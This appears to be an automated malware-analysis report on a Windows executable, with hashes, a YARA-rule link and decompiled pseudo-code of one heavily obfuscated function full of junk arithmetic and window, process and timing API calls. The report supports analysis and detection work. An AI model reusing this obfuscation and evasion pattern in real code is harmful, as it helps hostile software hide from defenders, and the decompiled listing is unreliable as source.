API ID: Popup$Window$Message$ActiveCurrentDesktopExtraIconicInfoLastLengthProcessTextTimeZoomed
String ID:
API String ID: 1249249616-0
Opcode ID: 649e96a3040e716dd2e475f25863d26953d14027e2addb84bc51d75de1cabe73
Instruction ID: 7a1636288f0b42338d253b0b7a5ef7545b7f27b68060a9423a23fe63b878f618
Opcode Fuzzy Hash: 649e96a3040e716dd2e475f25863d26953d14027e2addb84bc51d75de1cabe73
Instruction Fuzzy Hash: 26627AA7E289034AF604AF349D5A3F921956F25214F780639D10AD72D7FF3EF149810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F834D Relevance: 51.8, APIs: 34, Instructions: 836
windowtimeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED0F834D(char _a144, long long _a152) {
				signed int _t109;
				signed int _t114;
				signed int _t120;
				signed int _t125;
				signed int _t146;
				signed int _t152;
				signed int _t162;
				signed int _t179;
				signed int _t184;
				signed int _t196;
				signed int _t202;
				signed int _t219;
				signed int _t236;
				signed int _t241;
				signed int _t246;
				signed int _t270;
				signed int _t276;
				signed int _t281;
				signed int _t286;
				signed int _t291;
				signed int _t296;
				signed int _t301;
				signed int _t306;
				signed int _t342;
				signed int _t348;
				signed int _t372;
				signed int _t378;
				signed int _t395;
				signed int _t400;
				signed int _t405;
				signed int _t410;
				signed int _t415;
				signed int _t422;
				signed int _t427;
				signed int _t432;
				signed int _t439;
				signed int _t446;
				signed int _t451;
				signed int _t456;
				signed int _t461;
				signed int _t471;
				signed int _t476;
				signed int _t481;
				signed int _t486;
				signed int _t498;
				signed int _t508;
				signed int _t516;
				signed int _t523;
				signed int _t528;
				signed int _t531;
				signed int _t544;
				signed int _t549;
				signed int _t554;
				signed int _t567;
				signed int _t583;
				signed int _t588;
				signed int _t603;
				short _t609;
				signed int _t613;
				signed int _t618;
				signed int _t624;
				signed int _t629;
				signed int _t634;
				signed int _t639;
				signed int _t644;
				signed int _t650;
				signed int _t661;
				signed int _t667;
				signed int _t680;
				signed int _t685;
				signed int _t702;
				signed int _t731;
				signed int _t737;
				signed int _t742;
				signed int _t777;
				signed int _t783;
				signed int _t789;
				signed int _t795;
				signed int _t801;
				signed int _t808;
				signed int _t819;
				signed int _t831;
				signed int _t836;
				signed int _t841;
				signed int _t846;
				signed int _t877;
				signed int _t883;
				signed int _t890;
				signed int _t895;
				signed int _t903;
				signed int _t908;
				signed int _t945;
				signed int _t951;
				signed char _t964;
				signed char _t1050;
				void* _t1089;
				signed int _t1105;
				void* _t1113;
				void* _t1117;
				void* _t1118;
				void* _t1120;
				void* _t1121;
				void* _t1122;
				void* _t1123;
				void* _t1124;
				void* _t1125;
				void* _t1128;
				void* _t1129;
				void* _t1130;
				void* _t1132;
				void* _t1133;
				void* _t1134;
				void* _t1135;
				void* _t1136;
				void* _t1137;
				void* _t1138;
				void* _t1139;
				void* _t1141;
				void* _t1142;
				void* _t1143;
				void* _t1144;
				void* _t1145;
				void* _t1147;
				void* _t1148;
				void* _t1149;
				void* _t1153;
				void* _t1155;
				void* _t1156;
				void* _t1159;
				void* _t1161;
				void* _t1162;
				void* _t1163;
				void* _t1164;
				void* _t1166;
				void* _t1168;
				void* _t1169;
				void* _t1172;
				void* _t1173;
				void* _t1174;
				void* _t1175;
				void* _t1176;
				void* _t1178;
				void* _t1179;
				void* _t1180;
				void* _t1181;
				void* _t1182;
				void* _t1183;
				void* _t1185;
				void* _t1186;
				void* _t1189;
				void* _t1192;
				void* _t1193;
				void* _t1194;
				void* _t1196;
				void* _t1199;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				void* _t1205;
				void* _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				void* _t1213;
				void* _t1214;
				void* _t1215;
				void* _t1216;
				void* _t1217;
				void* _t1219;
				void* _t1220;
				void* _t1222;
				void* _t1227;
				void* _t1228;
				void* _t1230;
				void* _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1235;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				void* _t1241;
				void* _t1242;
				void* _t1244;
				void* _t1245;
				void* _t1246;
				void* _t1247;
				void* _t1249;
				void* _t1250;
				void* _t1252;
				void* _t1254;
				void* _t1255;
				void* _t1256;
				void* _t1257;
				void* _t1258;
				void* _t1259;
				long long _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1269;
				void* _t1274;
				void* _t1275;
				void* _t1276;
				void* _t1278;
				void* _t1279;
				void* _t1280;
				void* _t1281;
				void* _t1282;
				void* _t1283;

				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t109 = E00007FF67FF6ED184484(_t1262);
				if (_t1117 >= 0) goto 0xed0f836d;
				_t1118 = ((_t109 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x43;
				if (_t1118 != 0) goto 0xed0f8347;
				_t114 = E00007FF67FF6ED184484(_t1262);
				if (_t1118 >= 0) goto 0xed0f8387;
				sil = sil + _t951;
				 *0xed236f60 = 0 | ((_t114 & 0x8000007f) - _t951 | 0xffffff80) + _t951 == _t1113;
				 *0xed236f60 = sil & 0xffffffff;
				_t1120 = sil - 0x2a;
				if (_t1120 < 0) goto 0xed0f82ea;
				_t120 = E00007FF67FF6ED184484(_t1262);
				if (_t1120 >= 0) goto 0xed0f83bb;
				_t1121 = ((_t120 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x1f;
				if (_t1121 > 0) goto 0xed0f83de;
				_t125 = E00007FF67FF6ED184484(_t1262);
				if (_t1121 >= 0) goto 0xed0f83d0;
				_t1122 = ((_t125 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x1f;
				 *0xed236f60 = 0 | _t1122 <= 0x00000000;
				E00007FF67FF6ED184484(_t1262);
				if (_t1122 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1122 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1262);
				if (_t1122 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1122 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1122, _t1262, _t1264, _t1269); // executed
				_a152 = _t1262;
				E00007FF67FF6ED1075F0(0, _t1089, 0x8000007f, _t1263, _t1262, _t1274, _t1276, _t1278, _t1279);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1122, _t1263, _t1262, _t1282, _t1262, _t1274, _t1275, _t1280, _t1281, _t1282, _t1283); // executed
				 *0xed236f60 = 0x35;
				_t1123 = 0x35 + _t951 - 0x37;
				if (_t1123 < 0) goto 0xed0f845e;
				_t146 = E00007FF67FF6ED184484(_t1262);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1123 >= 0) goto 0xed0f848b;
				_t1124 = ((_t146 & r15d) - _t951 | r14d) + _t951 - 0xb;
				if (_t1124 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t152 = E00007FF67FF6ED184484(_t1262);
				if (_t1124 >= 0) goto 0xed0f84a7;
				_t1125 = ((_t152 & r15d) - _t951 | r14d) + _t951 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1262);
				if (_t1125 >= 0) goto 0xed0f84bf;
				_t162 = E00007FF67FF6ED184484(_t1262);
				if (_t1125 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t162 & r15d) - _t951 | r14d) + _t951 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t964 = sil;
				 *0xed236f60 = _t964 & 0x000000ff;
				if (_t964 + _t951 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1128 = 0x4a + _t951 - 0x4e;
				if (_t1128 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1262);
				if (_t1128 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1128 <= 0) goto 0xed0f85be;
				_t179 = E00007FF67FF6ED184484(_t1262);
				if (_t1128 >= 0) goto 0xed0f856a;
				_t1129 = ((_t179 & r15d) - _t951 | r14d) + _t951 - 0x44;
				if (_t1129 == 0) goto 0xed0f858e;
				_t184 = E00007FF67FF6ED184484(_t1262);
				if (_t1129 >= 0) goto 0xed0f8580;
				_t1130 = ((_t184 & r15d) - _t951 | r14d) + _t951 - 0x44;
				 *0xed236f60 = 0 | _t1130 != 0x00000000;
				 *0xed236f60 = _t951;
				E00007FF67FF6ED184484(_t1262);
				if (_t1130 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1130 > 0x00000000;
				goto 0xed0f860f;
				_t196 = E00007FF67FF6ED184484(_t1262);
				if (_t1130 >= 0) goto 0xed0f85cf;
				if (((_t196 & r15d) - _t951 | r14d) + _t951 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1132 = dil - 0x1d;
				if (_t1132 < 0) goto 0xed0f85d7;
				_t202 = E00007FF67FF6ED184484(_t1262);
				if (_t1132 >= 0) goto 0xed0f8601;
				_t1133 = ((_t202 & r15d) - _t951 | r14d) + _t951 - 0x61;
				 *0xed236f60 = 0 | _t1133 != 0x00000000;
				E00007FF67FF6ED184484(_t1262);
				if (_t1133 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1133 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1262);
				if (_t1133 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1133 >= 0x00000000;
				goto 0xed0f8709;
				_t219 = E00007FF67FF6ED184484(_t1262);
				if (_t1133 >= 0) goto 0xed0f8687;
				_t1134 = ((_t219 & 0x8000007f) - _t951 | r14d) + _t951 - 0x2f;
				if (_t1134 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1262);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1262);
				if (_t1134 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1135 = dil - 0x6b;
				if (_t1135 >= 0) goto 0xed0f86eb;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1135 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1135 >= 0) goto 0xed0f86ba;
				_t236 = E00007FF67FF6ED184484(_t1262);
				if (_t1135 >= 0) goto 0xed0f86fb;
				_t1136 = ((_t236 & 0x8000007f) - _t951 | r14d) + _t951 - 0x2f;
				 *0xed236f60 = 0 | _t1136 == 0x00000000;
				_t241 = E00007FF67FF6ED184484(_t1262);
				if (_t1136 >= 0) goto 0xed0f8719;
				_t1137 = ((_t241 & 0x8000007f) - _t951 | r14d) + _t951 - 0x55;
				if (_t1137 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t246 = E00007FF67FF6ED184484(_t1262);
				if (_t1137 >= 0) goto 0xed0f8734;
				_t1138 = ((_t246 & 0x8000007f) - _t951 | r14d) + _t951 - 0x55;
				 *0xed236f60 = 0 | _t1138 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1262);
				if (_t1138 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1139 = dil - 0xf;
				if (_t1139 >= 0) goto 0xed0f87a6;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1139 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1139 != 0) goto 0xed0f87a6;
				if (_t1139 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1262);
				if (_t1139 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1139 != 0) goto 0xed0f88ca;
				if (_t1139 != 0) goto 0xed0f88ca;
				_t270 = E00007FF67FF6ED184484(_t1262);
				if (_t1139 >= 0) goto 0xed0f87eb;
				if (((_t270 & 0x8000007f) - _t951 | r14d) + _t951 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1141 = 0xe + _t951 - sil;
				if (_t1141 < 0) goto 0xed0f87f2;
				_t276 = E00007FF67FF6ED184484(_t1262);
				if (_t1141 >= 0) goto 0xed0f8812;
				_t1142 = ((_t276 & 0x8000007f) - _t951 | r14d) + _t951 - 0x16;
				 *0xed236f60 = 0 | _t1142 != 0x00000000;
				goto 0xed0f88f6;
				_t281 = E00007FF67FF6ED184484(_t1262);
				if (_t1142 >= 0) goto 0xed0f8835;
				_t1143 = ((_t281 & 0x8000007f) - _t951 | r14d) + _t951 - 0x29;
				if (_t1143 == 0) goto 0xed0f8888;
				_t286 = E00007FF67FF6ED184484(_t1262);
				if (_t1143 >= 0) goto 0xed0f884a;
				_t1144 = ((_t286 & 0x8000007f) - _t951 | r14d) + _t951 - 0x5a;
				if (_t1144 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t291 = E00007FF67FF6ED184484(_t1262);
				if (_t1144 >= 0) goto 0xed0f8864;
				_t1145 = ((_t291 & 0x8000007f) - _t951 | r14d) + _t951 - 0x5a;
				 *0xed236f60 = 0 | _t1145 != 0x00000000;
				_t296 = E00007FF67FF6ED184484(_t1262);
				if (_t1145 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t301 = E00007FF67FF6ED184484(_t1262);
				if (((_t296 & 0x8000007f) - _t951 | r14d) + _t951 - 0x29 >= 0) goto 0xed0f8898;
				_t1147 = ((_t301 & 0x8000007f) - _t951 | r14d) + _t951 - 0x17;
				if (_t1147 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t306 = E00007FF67FF6ED184484(_t1262);
				if (_t1147 >= 0) goto 0xed0f88b7;
				_t1148 = ((_t306 & 0x8000007f) - _t951 | r14d) + _t951 - 0x17;
				 *0xed236f60 = 0 | _t1148 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1262);
				if (_t1148 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1148 != 0) goto 0xed0f88ee;
				if (_t1148 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t951;
				dil = 0x4b;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1148 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1148 < 0) goto 0xed0f892e;
				_t1149 = dil - 0x4f;
				if (_t1149 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1262);
				if (_t1149 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1262);
				if (_t1149 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1149 >= 0x00000000;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t951 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t951 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1153 = 0x63 + _t951 - 0x74;
				if (_t1153 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t342 = E00007FF67FF6ED184484(_t1262);
				if (_t1153 >= 0) goto 0xed0f89e9;
				if (((_t342 & 0x8000007f) - _t951 | r14d) + _t951 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1155 = 0x16 + _t951 - 0x19;
				if (_t1155 < 0) goto 0xed0f89f0;
				_t348 = E00007FF67FF6ED184484(_t1262);
				if (_t1155 >= 0) goto 0xed0f8a10;
				_t1156 = ((_t348 & 0x8000007f) - _t951 | r14d) + _t951 - 0x1b;
				 *0xed236f60 = 0 | _t1156 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1262);
				if (_t1156 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1156 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1262);
				if (_t1156 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1156 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t951 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1159 = dil - 0x4a;
				if (_t1159 >= 0) goto 0xed0f8ae6;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t372 = E00007FF67FF6ED184484(_t1262);
				if (_t1159 >= 0) goto 0xed0f8ae1;
				if (((_t372 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t951;
				 *0xed236f60 = sil & 0xffffffff;
				_t1161 = sil - 0x12;
				if (_t1161 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t378 = E00007FF67FF6ED184484(_t1262);
				if (_t1161 >= 0) goto 0xed0f8b19;
				_t1162 = ((_t378 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x6d;
				if (_t1162 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1262);
				if (_t1162 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1162 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1262);
				if (_t1162 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1162 >= 0x00000000;
				_t395 = E00007FF67FF6ED184484(_t1262);
				if (_t1162 >= 0) goto 0xed0f8b7b;
				_t1163 = ((_t395 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x6d;
				 *0xed236f60 = 0 | _t1163 != 0x00000000;
				dil = 0x26;
				_t400 = E00007FF67FF6ED184484(_t1262);
				if (_t1163 >= 0) goto 0xed0f8b9f;
				_t1164 = ((_t400 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0xf;
				if (_t1164 >= 0) goto 0xed0f8bbe;
				_t405 = E00007FF67FF6ED184484(_t1262);
				if (_t1164 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t410 = E00007FF67FF6ED184484(_t1262);
				if (((_t405 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0xf >= 0) goto 0xed0f8bd1;
				_t1166 = ((_t410 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x50;
				if (_t1166 >= 0) goto 0xed0f8bf7;
				_t415 = E00007FF67FF6ED184484(_t1262);
				if (_t1166 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t415 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x00000050 < 0x00000000;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1168 = dil - 0x30;
				if (_t1168 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t422 = E00007FF67FF6ED184484(_t1262);
				if (_t1168 >= 0) goto 0xed0f8c25;
				_t1169 = ((_t422 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x68;
				if (_t1169 < 0) goto 0xed0f8c4a;
				_t427 = E00007FF67FF6ED184484(_t1262);
				if (_t1169 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t432 = E00007FF67FF6ED184484(_t1262);
				if (((_t427 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t432 & 0x8000007f) - _t951 | 0xffffff80) + _t951 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1172 = dil - 0x1f;
				if (_t1172 < 0) goto 0xed0f8c65;
				_t439 = E00007FF67FF6ED184484(_t1262);
				if (_t1172 >= 0) goto 0xed0f8c91;
				_t1173 = ((_t439 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x62;
				 *0xed236f60 = 0 | _t1173 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t446 = E00007FF67FF6ED184484(_t1262);
				if (_t1173 >= 0) goto 0xed0f8cd6;
				_t1174 = ((_t446 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 8;
				if (_t1174 < 0) goto 0xed0f8cff;
				_t451 = E00007FF67FF6ED184484(_t1262);
				if (_t1174 >= 0) goto 0xed0f8cf2;
				_t1175 = ((_t451 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 8;
				 *0xed236f60 = 0 | _t1175 >= 0x00000000;
				dil = 7;
				_t456 = E00007FF67FF6ED184484(_t1262);
				if (_t1175 >= 0) goto 0xed0f8d15;
				_t1176 = ((_t456 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x1e;
				if (_t1176 <= 0) goto 0xed0f8d3b;
				_t461 = E00007FF67FF6ED184484(_t1262);
				if (_t1176 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t461 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x0000001e > 0x00000000;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1178 = dil - 0x14;
				if (_t1178 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t951;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t951;
				_t471 = E00007FF67FF6ED184484(_t1262);
				if (_t1178 >= 0) goto 0xed0f8d87;
				_t1179 = ((_t471 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x46;
				if (_t1179 >= 0) goto 0xed0f8dac;
				_t476 = E00007FF67FF6ED184484(_t1262);
				if (_t1179 >= 0) goto 0xed0f8d9c;
				_t1180 = ((_t476 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x46;
				 *0xed236f60 = 0 | _t1180 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t951;
				_t481 = E00007FF67FF6ED184484(_t1262);
				if (_t1180 >= 0) goto 0xed0f8dc2;
				_t1181 = ((_t481 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - _t951;
				if (_t1181 >= 0) goto 0xed0f8de3;
				_t486 = E00007FF67FF6ED184484(_t1262);
				if (_t1181 >= 0) goto 0xed0f8dd6;
				_t1182 = ((_t486 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - _t951;
				 *0xed236f60 = 0 | _t1182 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1262);
				if (_t1182 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1182 < 0) goto 0xed0f8e21;
				_t1183 = dil - bpl;
				if (_t1183 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t498 = E00007FF67FF6ED184484(_t1262);
				if (_t1183 >= 0) goto 0xed0f8e54;
				if (((_t498 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1185 = dil - 0x60;
				if (_t1185 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1262);
				if (_t1185 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1185 != 0) goto 0xed0f8e94;
				if (_t1185 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t951;
				goto 0xed0f8ec0;
				_t508 = E00007FF67FF6ED184484(_t1262);
				if (_t1185 >= 0) goto 0xed0f8ea4;
				_t1186 = ((_t508 & 0x8000007f) - _t951 | 0xffffff80) + _t951;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1186 != 0) goto 0xed0f8eb8;
				if (_t1186 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t951;
				GetMessageExtraInfo();
				_t516 = E00007FF67FF6ED184484(_t1262);
				if (_t1186 >= 0) goto 0xed0f8ed6;
				if (((_t516 & 0x8000007f) - _t951 | 0xffffff80) + _t951 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t951;
				 *0xed236f60 = sil & 0xffffffff;
				_t1189 = sil - 0x34;
				if (_t1189 < 0) goto 0xed0f8edd;
				_t523 = E00007FF67FF6ED184484(_t1262);
				r14d = 0x8000007f;
				if (_t1189 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t528 = E00007FF67FF6ED184484(_t1262);
				r14d = 0x8000007f;
				if (((_t523 & r14d) - _t951 | 0xffffff80) + _t951 - 0x5d >= 0) goto 0xed0f8f42;
				_t531 = (_t528 & 0x8000007f) - _t951 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1192 = _t531 - 0x15;
				if (_t1192 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1262);
				if (_t1192 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1192 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1262);
				if (_t1192 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1192 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t951;
				_t544 = E00007FF67FF6ED184484(_t1262);
				if (_t1192 >= 0) goto 0xed0f8fb7;
				_t1193 = ((_t544 & r14d) - _t951 | 0xffffff80) + _t951 - 0x15;
				 *0xed236f60 = 0 | _t1193 == 0x00000000;
				dil = 0x5f;
				_t549 = E00007FF67FF6ED184484(_t1262);
				if (_t1193 >= 0) goto 0xed0f8fd9;
				_t1194 = ((_t549 & r14d) - _t951 | 0xffffff80) + _t951 - 0x27;
				if (_t1194 <= 0) goto 0xed0f8ffd;
				_t554 = E00007FF67FF6ED184484(_t1262);
				if (_t1194 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t554 & r14d) - _t951 | 0xffffff80) + _t951 - 0x00000027 > 0x00000000;
				dil = dil + _t951;
				 *0xed236f60 = dil & 0xffffffff;
				_t1196 = dil - 0x73;
				if (_t1196 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1262);
